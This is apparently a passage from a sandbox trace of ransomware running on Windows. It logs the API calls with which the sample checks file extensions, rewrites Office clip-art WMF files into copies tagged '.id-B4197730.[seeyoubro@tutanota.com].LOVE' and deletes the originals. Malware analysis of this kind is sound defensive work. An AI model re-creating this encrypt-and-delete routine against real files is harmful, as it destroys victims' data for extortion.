(lpString=".zip") returned 4 [0219.964] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.964] lstrlenW (lpString=".rar") returned 4 [0219.964] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.964] lstrlenW (lpString=".bz2") returned 4 [0219.964] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.964] lstrlenW (lpString=".7z") returned 3 [0219.964] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0219.964] lstrlenW (lpString=".dbf") returned 4 [0219.964] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0219.964] lstrlenW (lpString=".1cd") returned 4 [0219.964] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0219.964] lstrlenW (lpString=".jpg") returned 4 [0219.964] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.965] GetLastError () returned 0x0 [0219.965] ReadFile (in: hFile=0x354, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x2a40, lpOverlapped=0x0) returned 1 [0220.109] WriteFile (in: hFile=0x348, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x2a50, lpOverlapped=0x0) returned 1 [0220.111] ReadFile (in: hFile=0x354, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.111] WriteFile (in: hFile=0x348, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.111] SetEndOfFile (hFile=0x348) returned 1 [0220.111] CloseHandle (hObject=0x348) returned 1 [0220.111] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.111] SetEndOfFile (hFile=0x354) returned 1 [0220.113] CloseHandle (hObject=0x354) returned 1 [0220.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.113] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf")) returned 1 [0220.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0220.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0220.114] lstrlenW (lpString=".doc") returned 4 [0220.114] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.114] lstrlenW (lpString=".docx") returned 5 [0220.114] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.114] lstrlenW (lpString=".pdf") returned 4 [0220.114] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.114] lstrlenW (lpString=".xls") returned 4 [0220.114] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.114] lstrlenW (lpString=".xlsx") returned 5 [0220.114] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.114] lstrlenW (lpString=".ppt") returned 4 [0220.114] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0220.114] lstrlenW (lpString=".zip") returned 4 [0220.114] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.114] lstrlenW (lpString=".rar") returned 4 [0220.114] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.114] lstrlenW (lpString=".bz2") returned 4 [0220.114] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.114] lstrlenW (lpString=".7z") returned 3 [0220.114] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0220.114] lstrlenW (lpString=".dbf") returned 4 [0220.114] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0220.115] lstrlenW (lpString=".1cd") returned 4 [0220.115] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0220.115] lstrlenW (lpString=".jpg") returned 4 [0220.115] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.115] GetLastError () returned 0x0 [0220.115] ReadFile (in: hFile=0x354, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x400c, lpOverlapped=0x0) returned 1 [0220.209] WriteFile (in: hFile=0x348, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x4010, lpOverlapped=0x0) returned 1 [0220.210] ReadFile (in: hFile=0x354, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.210] WriteFile (in: hFile=0x348, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.210] SetEndOfFile (hFile=0x348) returned 1 [0220.254] CloseHandle (hObject=0x348) returned 1 [0220.264] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.264] SetEndOfFile (hFile=0x354) returned 1 [0220.265] CloseHandle (hObject=0x354) returned 1 [0220.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.265] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 1 [0220.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0220.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0220.267] lstrlenW (lpString=".doc") returned 4 [0220.267] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.267] lstrlenW (lpString=".docx") returned 5 [0220.267] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.267] lstrlenW (lpString=".pdf") returned 4 [0220.267] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.267] lstrlenW (lpString=".xls") returned 4 [0220.267] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.267] lstrlenW (lpString=".xlsx") returned 5 [0220.267] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.267] lstrlenW (lpString=".ppt") returned 4 [0220.267] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0220.267] lstrlenW (lpString=".zip") returned 4 [0220.267] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.267] lstrlenW (lpString=".rar") returned 4 [0220.267] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.267] lstrlenW (lpString=".bz2") returned 4 [0220.267] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.267] lstrlenW (lpString=".7z") returned 3 [0220.267] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0220.267] lstrlenW (lpString=".dbf") returned 4 [0220.267] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0220.267] lstrlenW (lpString=".1cd") returned 4 [0220.267] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0220.268] lstrlenW (lpString=".jpg") returned 4 [0220.268] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.273] GetLastError () returned 0x0 [0220.273] ReadFile (in: hFile=0x380, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x13ea, lpOverlapped=0x0) returned 1 [0220.275] WriteFile (in: hFile=0x358, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x13f0, lpOverlapped=0x0) returned 1 [0220.276] ReadFile (in: hFile=0x380, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.276] WriteFile (in: hFile=0x358, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.276] SetEndOfFile (hFile=0x358) returned 1 [0220.276] CloseHandle (hObject=0x358) returned 1 [0220.277] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.277] SetEndOfFile (hFile=0x380) returned 1 [0220.277] CloseHandle (hObject=0x380) returned 1 [0220.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.278] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 1 [0220.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0220.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0220.278] lstrlenW (lpString=".doc") returned 4 [0220.278] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.278] lstrlenW (lpString=".docx") returned 5 [0220.278] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.278] lstrlenW (lpString=".pdf") returned 4 [0220.278] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.278] lstrlenW (lpString=".xls") returned 4 [0220.278] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.278] lstrlenW (lpString=".xlsx") returned 5 [0220.278] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.278] lstrlenW (lpString=".ppt") returned 4 [0220.278] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0220.279] lstrlenW (lpString=".zip") returned 4 [0220.279] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.279] lstrlenW (lpString=".rar") returned 4 [0220.279] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.279] lstrlenW (lpString=".bz2") returned 4 [0220.279] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.279] lstrlenW (lpString=".7z") returned 3 [0220.279] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0220.279] lstrlenW (lpString=".dbf") returned 4 [0220.279] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0220.279] lstrlenW (lpString=".1cd") returned 4 [0220.279] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0220.279] lstrlenW (lpString=".jpg") returned 4 [0220.279] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.279] GetLastError () returned 0x0 [0220.279] ReadFile (in: hFile=0x380, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x43fe, lpOverlapped=0x0) returned 1 [0220.280] WriteFile (in: hFile=0x358, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x4400, lpOverlapped=0x0) returned 1 [0220.281] ReadFile (in: hFile=0x380, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.281] WriteFile (in: hFile=0x358, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.281] SetEndOfFile (hFile=0x358) returned 1 [0220.282] CloseHandle (hObject=0x358) returned 1 [0220.282] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.282] SetEndOfFile (hFile=0x380) returned 1 [0220.282] CloseHandle (hObject=0x380) returned 1 [0220.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.283] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 1 [0220.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0220.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0220.283] lstrlenW (lpString=".doc") returned 4 [0220.283] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.283] lstrlenW (lpString=".docx") returned 5 [0220.283] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.283] lstrlenW (lpString=".pdf") returned 4 [0220.283] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.283] lstrlenW (lpString=".xls") returned 4 [0220.283] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.283] lstrlenW (lpString=".xlsx") returned 5 [0220.283] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.283] lstrlenW (lpString=".ppt") returned 4 [0220.283] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0220.283] lstrlenW (lpString=".zip") returned 4 [0220.283] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.283] lstrlenW (lpString=".rar") returned 4 [0220.283] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.283] lstrlenW (lpString=".bz2") returned 4 [0220.283] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.284] lstrlenW (lpString=".7z") returned 3 [0220.284] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0220.284] lstrlenW (lpString=".dbf") returned 4 [0220.284] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0220.284] lstrlenW (lpString=".1cd") returned 4 [0220.284] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0220.284] lstrlenW (lpString=".jpg") returned 4 [0220.284] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.284] GetLastError () returned 0x0 [0220.284] ReadFile (in: hFile=0x380, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x5c0, lpOverlapped=0x0) returned 1 [0220.303] WriteFile (in: hFile=0x358, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x5d0, lpOverlapped=0x0) returned 1 [0220.304] ReadFile (in: hFile=0x380, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.304] WriteFile (in: hFile=0x358, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.304] SetEndOfFile (hFile=0x358) returned 1 [0220.304] CloseHandle (hObject=0x358) returned 1 [0220.304] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.304] SetEndOfFile (hFile=0x380) returned 1 [0220.305] CloseHandle (hObject=0x380) returned 1 [0220.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.305] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 1 [0220.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0220.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0220.306] lstrlenW (lpString=".doc") returned 4 [0220.306] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.306] lstrlenW (lpString=".docx") returned 5 [0220.306] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.306] lstrlenW (lpString=".pdf") returned 4 [0220.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.306] lstrlenW (lpString=".xls") returned 4 [0220.306] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.306] lstrlenW (lpString=".xlsx") returned 5 [0220.306] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.306] lstrlenW (lpString=".ppt") returned 4 [0220.306] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0220.306] lstrlenW (lpString=".zip") returned 4 [0220.306] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.306] lstrlenW (lpString=".rar") returned 4 [0220.306] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.306] lstrlenW (lpString=".bz2") returned 4 [0220.306] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.306] lstrlenW (lpString=".7z") returned 3 [0220.306] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0220.306] lstrlenW (lpString=".dbf") returned 4 [0220.306] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0220.306] lstrlenW (lpString=".1cd") returned 4 [0220.306] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0220.306] lstrlenW (lpString=".jpg") returned 4 [0220.307] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.307] GetLastError () returned 0x0 [0220.307] ReadFile (in: hFile=0x380, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x380, lpOverlapped=0x0) returned 1 [0220.359] WriteFile (in: hFile=0x358, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x390, lpOverlapped=0x0) returned 1 [0220.360] ReadFile (in: hFile=0x380, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.360] WriteFile (in: hFile=0x358, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.360] SetEndOfFile (hFile=0x358) returned 1 [0220.361] CloseHandle (hObject=0x358) returned 1 [0220.361] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.361] SetEndOfFile (hFile=0x380) returned 1 [0220.361] CloseHandle (hObject=0x380) returned 1 [0220.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.361] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 1 [0220.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0220.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0220.470] lstrlenW (lpString=".doc") returned 4 [0220.470] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.470] lstrlenW (lpString=".docx") returned 5 [0220.470] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.470] lstrlenW (lpString=".pdf") returned 4 [0220.470] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.470] lstrlenW (lpString=".xls") returned 4 [0220.470] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.470] lstrlenW (lpString=".xlsx") returned 5 [0220.470] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.470] lstrlenW (lpString=".ppt") returned 4 [0220.470] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0220.470] lstrlenW (lpString=".zip") returned 4 [0220.470] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.470] lstrlenW (lpString=".rar") returned 4 [0220.470] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.470] lstrlenW (lpString=".bz2") returned 4 [0220.470] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.470] lstrlenW (lpString=".7z") returned 3 [0220.470] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0220.470] lstrlenW (lpString=".dbf") returned 4 [0220.470] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0220.471] lstrlenW (lpString=".1cd") returned 4 [0220.471] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0220.471] lstrlenW (lpString=".jpg") returned 4 [0220.471] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.471] GetLastError () returned 0x0 [0220.471] ReadFile (in: hFile=0x380, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0xa6d0, lpOverlapped=0x0) returned 1 [0220.528] WriteFile (in: hFile=0x358, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xa6e0, 